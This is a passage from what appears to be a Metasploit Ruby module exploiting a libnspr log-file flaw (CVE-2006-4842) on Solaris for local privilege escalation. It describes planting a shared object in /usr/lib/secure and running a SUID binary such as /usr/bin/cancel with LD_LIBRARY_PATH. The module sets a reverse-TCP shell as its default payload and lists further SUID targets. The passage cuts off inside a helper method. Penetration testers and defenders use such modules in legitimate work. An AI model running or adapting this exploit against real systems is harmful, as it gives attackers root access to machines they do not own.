The log file is created with the privileges of the running process, resulting in privilege escalation when used in combination with a SUID executable. This module writes a shared object to the trusted library directory `/usr/lib/secure` and runs the specified SUID binary with the shared object loaded using the `LD_LIBRARY_PATH` environment variable. This module has been tested successfully with libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86). }, 'References' => [ ['BID', '20471'], ['CVE', '2006-4842'], ['EDB', '2543'], ['EDB', '2569'], ['EDB', '2641'], ['URL', 'https://securitytracker.com/id/1017050'], ['URL', 'https://securitytracker.com/id/1017051'], ['URL', 'https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR'], ['URL', 'http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418'], ['URL', 'http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1'] ], 'License' => MSF_LICENSE, 'Author' => [ 'iDefense', # Discovery 'Marco Ivaldi', # Exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Oct 11 2006', 'Privileged' => true, 'Platform' => ['solaris'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC], 'Targets' => [['Auto', {}]], 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultOptions' => { 'PAYLOAD' => 'solaris/x86/shell_reverse_tcp', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ # Some useful example SUID executables: # * /usr/bin/cancel # * /usr/bin/chkey # * /usr/bin/lp # * /usr/bin/lpset # * /usr/bin/lpstat # * /usr/lib/lp/bin/netpr # * /usr/sbin/lpmove OptString.new('SUID_PATH', [true, 'Path to suid executable (must be linked to a vulnerable version of libnspr4.so)', '/usr/bin/cancel']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def suid_bin_path datastore['SUID_PATH'] end def is_writable?(path) cmd_exec("[ -w #{path} ] && echo true").include?
